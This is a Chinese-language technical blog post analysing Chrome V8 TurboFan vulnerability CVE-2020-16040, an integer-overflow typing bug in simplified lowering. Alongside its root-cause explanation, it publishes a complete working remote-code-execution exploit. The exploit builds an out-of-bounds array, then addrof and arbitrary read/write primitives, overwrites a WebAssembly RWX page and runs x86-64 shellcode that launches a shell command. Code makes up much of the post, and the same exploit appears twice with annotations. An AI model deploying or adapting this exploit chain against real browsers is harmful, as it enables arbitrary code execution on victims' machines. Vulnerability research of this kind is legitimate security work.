chrome v8漏洞CVE-2020-16040浅析
作者: coolboy
前言
CVE-2020-16040是chrome v8 turbofan引擎的一个漏洞,具体发生在turbofan 的simplified-lowering阶段,错误的将加法的结果判定为Signed32类型,导致整数溢出,从而进一步利用漏洞实现RCE。这是一个系列文章,本文是第四篇。
POC
编译
# 如果编译失败,考虑是网络的原因。推荐解决办法:境外服务器编译。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
# 漏洞补丁前一笔提交
git checkout 8.9.40
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
# test
./out/x64.release/d8 --help
POC
/*
CVE-2020-16040
HEAD @ 2781d585038b97ed375f2ec06651dc9e5e04f916
https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-16040
*/
var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);
function ftoi(val) {
fs[0] = val;
return is[0];
}
function itof(val) {
is[0] = val;
return fs[0];
}
function foo(x) {
let y = 0x7fffffff;
if (x == NaN) y = NaN;
if (x) y = -1;
let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
// [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
i = 0 - Math.sign(i); // [Static type: Range(0, 1)]
// [Static type: Range(-1, 0)]
// console.log(i);
let a = new Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return [a, b];
}
for (let i = 0; i < 100000; i++)
foo(true);
let x = foo(false);
let arr = x[0];
let oob = x[1];
// %DebugPrint(arr);
// %DebugPrint(oob);
// %SystemBreak();
arr[16] = 1337;
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn;
let b = ftoi(oob[12]) >> 32n;
oob[12] = itof((b << 32n) + a);
obj[0] = o;
return (ftoi(flt[0]) & 0xffffffffn) - 1n;
}
function read(p) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
return ftoi(flt[0]);
}
function write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n);
flt[0] = itof(x);
}
let wasm = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n);
/* ':0.0' xcalc */
let shellcode = new Uint8Array([
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54,
0x5f, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x54, 0x5e, 0x52, 0xe8, 0x15, 0x00, 0x00,
0x00, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x27, 0x3a, 0x30, 0x2e,
0x30, 0x27, 0x20, 0x78, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x56, 0x57, 0x54, 0x5e,
0x6a, 0x3b, 0x58, 0x0f, 0x05
]);
let buf = new ArrayBuffer(shellcode.length);
let view = new DataView(buf);
write(addrof(buf) + 0x14n, rwx);
for (let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]);
entry();
$ ./out/x64.release/d8 poc.js
# 执行计算器 calc
C-style arbitrary precision calculator (version 2.12.7.2)
Calc is open software. For license details type: help copyright
[Type "exit" to exit, or "help" for help.]
漏洞成因分析
背景
representation
turbofan根据静态类型推测会得出表达式值的范围,称之为representation。用--trace-representation参数执行d8,可以看到日志。示例如下:
# ./d8 --trace-representation test.js
function foo(x) {
let y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))]
if (x == NaN) y = NaN; // Phi[kRepTagged](#14:NumberConstant, #128:NumberConstant, #26:Merge) [Static type: (NaN | Range(2147483647, 2147483647))]
if (x) y = -1; // Phi[kRepTagged](#32:Phi, #38:NumberConstant, #36:Merge) [Static type: (NaN | Range(-1, 2147483647))]
let z = y + 1; // SpeculativeSafeIntegerAdd[SignedSmall](#39:Phi, #42:NumberConstant, #22:SpeculativeNumberEqual, #36:Merge) [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31; // SpeculativeNumberShiftRight[SignedSmall](#43:SpeculativeSafeIntegerAdd, #44:NumberConstant, #43:SpeculativeSafeIntegerAdd, #36:Merge) [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
if (z > 0) {
// do something
}
}
y = 0x7fffffff; representation为Range(2147483647, 2147483647),只能取值为2147483647。
if (x == NaN) y = NaN;此时y取值有两种可能。NaN或者2147483647,因此representation为(NaN | Range(2147483647, 2147483647))。
if (x) y = -1; y的取值可能性又增加了-1,representation为[Static type: (NaN | Range(-1, 2147483647))]。虽然整数取值只能为-1或者2147483647,但为了表示方便,仍然采用range,一个范围来表示。
let z = y + 1; 此处做加法,NaN无法做加法运算,于是NaN另外处理。加1之后Range(-1, 2147483647)变为Range(0, 2147483648)。因此representation为Range(0, 2147483648)。
z >>= 31; 0至2147483647位运算右移31位得到0,2147483648得到-1,因此representation为Range(-1, 0)。
representation有什么作用呢?它给优化器做优化提供依据。如上,通过representation为Range(-1, 0),知道z的取值范围为(-1,0),因此当判断z > 0的时候知道永远不可能为真,于是优化引擎可以直接删除这个分支,从而优化代码。
Feedback
// ./d8 --trace-representation --trace-deopt test.js
x = {}
function foo() {
console.log(x.v);
}
x.v = 1;
for (i = 0; i < 10000; i++) {
console.log(i + ":");
foo();
}
x.v = 2;
执行结果如下:
0:
1
1:
1
...
7578:
1
Marking #19: Phi as needing revisit due to #82: Call
Marking #16: Loop as needing revisit due to #95: JSStackCheck
Marking #22: Checkpoint as needing revisit due to #17: EffectPhi
--{Propagate phase}--
visit #99: End (trunc: no-value-use)
initial #20: no-value-use
initial #199: no-value-use
initial #200: no-value-use
visit #200: Return (trunc: no-value-use)
...
7579:
1
...
9999:
1
[bailout (kind: deopt-soft, reason: Insufficient type feedback for generic named access): begin. deoptimizing 0x1db60825287d <JSFunction (sfi = 0x1db608252699)>, opt id 1, node id 101, bailout id 8, FP to SP delta 88, caller SP 0x7ffd4755fef8, pc 0x1db6000846a6]
解释一下:
在7578和7579行之间插入了--trace-representation打印的日志,表明优化引擎在7578次重复运行之后开始工作。
执行多次以后x.v均为1,x.v是对全局变量的属性访问,1将作为feedback,被优化引擎采用替换复杂的全局变量属性访问,而直接将1传递给console.log,提高效率
x.v = 2 改变了全局变量的值,foo的优化假设x.v等于1将不再成立,于是通过--trace-deopt参数打印出了bailout信息,表示foo函数解优化,不再执行优化函数,以确保函数的正确性。
由此可见,feedback也是优化的依据。
漏洞成因
漏洞在于turbofan 的Simplified Lowering阶段在处理SpeculativeSafeIntegerAdd函数时发生了错误。见下面:
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
...
VisitBinop<T>(node, left_use, right_use, MachineRepresentation::kWord32,
Type::Signed32());
...
}
表示turbofan优化时处理加法,两个数字都是kWord32类型,相加之和的类型限制在Signed32,即[-2147483648, 2147483647]之间。这就导致了bug,因为两个数相加结果可能超过这个范围。比如:2147483647 + 1,结果为2147483648,不在[-2147483648, 2147483647]范围,而VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,导致了bug。考虑下面情况:
function foo(a) {
// ./d8 --trace-representation --trace-deopt test.js
var y = 0x7fffffff;
if (a == NaN) y = NaN;
if (a) y = -1;
const z = (y + 1)|0;
console.log(z);
if (z < 0) {
console.log('< 0');
}
else {
console.log('>= 0');
}
}
foo(true);
foo(false);
console.log("================");
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
foo(false);
执行结果:
0
>= 0
-2147483648
< 0
================
0
>= 0
-2147483648
>= 0
前四行输出对应没有优化的foo(true); foo(false);调用结果,符合预期。
后四行输出对应优化后的foo(true); foo(false);调用结果,不符合预期。我们看到了-2147483648 >= 0
原因如下:
function foo(a) {
// ./d8 --trace-representation --trace-deopt test.js
var y = 0x7fffffff; // [Static type: (Range(2147483647, 2147483647))]
if (a == NaN) y = NaN; // [Static type: (NaN | Range(2147483647, 2147483647))]
if (a) y = -1; // [Static type: (NaN | Range(-1, 2147483647))]
const z = (y + 1)|0; // SpeculativeSafeIntegerAdd[SignedSmall] [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
// SpeculativeNumberBitwiseOr[SignedSmall] [Static type: Range(-2147483648, 2147483647), Feedback type: Range(0, 2147483647)]
console.log(z);
if (z < 0) {
console.log('< 0');
}
else {
console.log('>= 0');
}
}
y + 1,在加法处理之后它的Static type为Range(0, 2147483648),由于前面提及的bug,VisitSpeculativeIntegerAdditiveOp将结果限定在Type::Signed32()类型,(-2147483648, 2147483647),两者求交得到结果Range(0, 2147483647),与实际不符,Feedback type类型有误。
(y + 1) | 0,2147483648 | 0 结果为-2147483648,[0,2147483647]之间的任意数|0之后得到本身,因此(y + 1) | 0的Static type为Range(-2147483648, 2147483647),Feedback type保持不变为Range(0, 2147483647)
优化foo时,feedback type将参与优化,(y+1)|0的feedback type为(0, 2147483647),它的值不小于0,z<0的判断总是为false,因此优化掉判断逻辑直接执行console.log('>= 0'); ,而此时z实际的值为-2147483648,小于0。这就是为什么会打印出-2147483648 >= 0
POC详解
function foo(x) {
let y = 0x7fffffff;
if (x == NaN) y = NaN;
if (x) y = -1;
let z = y + 1; // [Static type: Range(0, 2147483648), Feedback type: Range(0, 2147483647)]
z >>= 31; // Static type: Range(-1, 0), Feedback type: Range(0, 0)]
z = Math.sign(z | 1); // [Static type: Range(-1, 2147483647), Feedback type: Range(1, 1)]
// [Static type: Range(-1, 1), Feedback type: Range(1, 1)]
z = 0x7fffffff + 1 - z; // [Static type: Range(2147483647, 2147483649), Feedback type: Range(2147483647, 2147483647)]
let i = x ? 0 : z; // [Static type: Range(0, 2147483649), Feedback type: Range(0, 2147483647)]
i = 0 - Math.sign(i); // [Static type: Range(0, 1)]
// [Static type: Range(-1, 0), Feedback type: Range(0, 0)]
// console.log(i); // i:1
let a = new Array(i);
a.shift(); // CheckBounds [Static type: Range(0, 0)]
let b = [1.1, 2.2, 3.3];
return [a, b];
}
--trace-representation 打印得到上述日志,可以看到执行new Array(i);时,i真实值为1,而Static type为 Range(-1, 0),Feedback type为Range(0, 0)
let a = new Array(i); 将被优化成下面伪代码:
其中kArraySize为1,将传递给Allocate,正常分配空间。
checkdLen = CheckBounds(len, limit); 将产生[Static type: Range(0, 0)],在优化时直接替换成0。
StoreField(arr, kLengthOffset, checkedLen); 将arr length字段设置为0,而实际长度为1.
a.shift(); 将被优化成下面伪代码:
length = checkedLen; 等于0
newLen = length - 1; 等于-1
StoreField(arr, kLengthOffset, newLen); 将arr的length字段赋值为-1。这将导致整数下溢,变成一个很大的数,从而可以实现数组的越界读写。
// 优化foo函数
for (let i = 0; i < 100000; i++)
foo(true);
let x = foo(false);
let arr = x[0];
// %DebugPrint(arr);
使用参数--allow-natives-syntax运行d8执行%DebugPrint(arr);可以得到arr数组打印结果如下:
DebugPrint: 0x1f0108088f15: [JSArray]
- map: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x1f010818b759 <JSArray[0]>
- elements: 0x1f0108088f09 <FixedArray[67244564]> [HOLEY_SMI_ELEMENTS]
- length: -1
- properties: 0x1f0108042229 <FixedArray[0]>
- All own properties (excluding elements): {
0x1f0108044649: [String] in ReadOnlySpace: #length: 0x1f0108102159 <AccessorInfo> (const accessor descriptor), location: descriptor
}
- elements: 0x1f0108088f09 <FixedArray[67244564]> {
0: 0x1f0108042429 <the_hole>
1: 0x1f01081c394d <Map(HOLEY_SMI_ELEMENTS)>
2: 0x1f0108042229 <FixedArray[0]>
3: 0x1f0108088f09 <FixedArray[67244564]>
4: -1
5: 0x1f0108042a89 <Map>
6: 3
7: -858993459
可以看到长度确实为-1。
function foo(x) {
...
let a = new Array(i);
a.shift();
let b = [1.1, 2.2, 3.3];
return [a, b];
}
let x = foo(false);
let arr = x[0];
let oob = x[1];
arr[16] = 1337;
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
b的内存布局在a之后,因此a可以越界读写b的内存。a[16]位置存放的是b的长度字段。a[16] = 1337,是将b的长度修改为1337。从而以b为跳板继续越界读写后面的数组。
oob即为b。oob[12]存放的是flt数组指向的内存。oob[24]存放的是obj数组指向的内存。
/* flt.elements @ oob[12] */
/* obj.elements @ oob[24] */
let flt = [1.1];
let tmp = {a: 1};
let obj = [tmp];
function addrof(o) {
let a = ftoi(oob[24]) & 0xffffffffn; // 获取obj.elements 的低32位数字,此为压缩后的地址
let b = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字
oob[12] = itof((b << 32n) + a); // obj.elements地址 组合 flt原来高32位数字,形成double,写回flt.elements
// 此时flt和obj指向了同一块内存,唯一区别是,flt以double解析这块内存,obj以对象类型解析这块内存
obj[0] = o; // 存入对象的地址到obj[0]
return (ftoi(flt[0]) & 0xffffffffn) - 1n; // 以double读出对象的地址,并抓换为int
}
function read(p) {
let a = ftoi(oob[12]) >> 32n; // 获取flt.elements 的高32位数字
oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。
return ftoi(flt[0]); // 读p地址的内容
}
function write(p, x) {
let a = ftoi(oob[12]) >> 32n;
oob[12] = itof((a << 32n) + p - 8n + 1n); // 修改flt.elements 的低32位数字,指向p的地址,-8+1不是必须,poc计算时p事先+8-1。
flt[0] = itof(x); // 写入x
}
let wasm = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
0x0b
]);
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module);
let entry = instance.exports.main;
let rwx = read(addrof(instance) + 0x68n); // addrof(instance) 获取instance地址
// read(addrof(instance) + 0x68n) 读instance + 0x60处的值,这里是wasm代码段开始的地方,具有rwx权限
let entry = instance.exports.main;
let buf = new ArrayBuffer(shellcode.length); // 分配ArrayBuffer
let view = new DataView(buf);
write(addrof(buf) + 0x14n, rwx); // addrof(ArrayBuffer),获取地址,地址 + 0x14 - 8 + 1的地方存放着ArrayBuffer对象buf的地址
// 修改这个地址为rwx,让ArrayBuffer的空间指向rwx,操作ArrayBuffer就是修改rwx内存。
for (let i = 0; i < shellcode.length; i++)
view.setUint8(i, shellcode[i]); // 往rwx写入shellcode
entry(); // 执行shellcode
参考
Analyzing CVE-2020-16040
Chrome Exploitation
加群讨论V8漏洞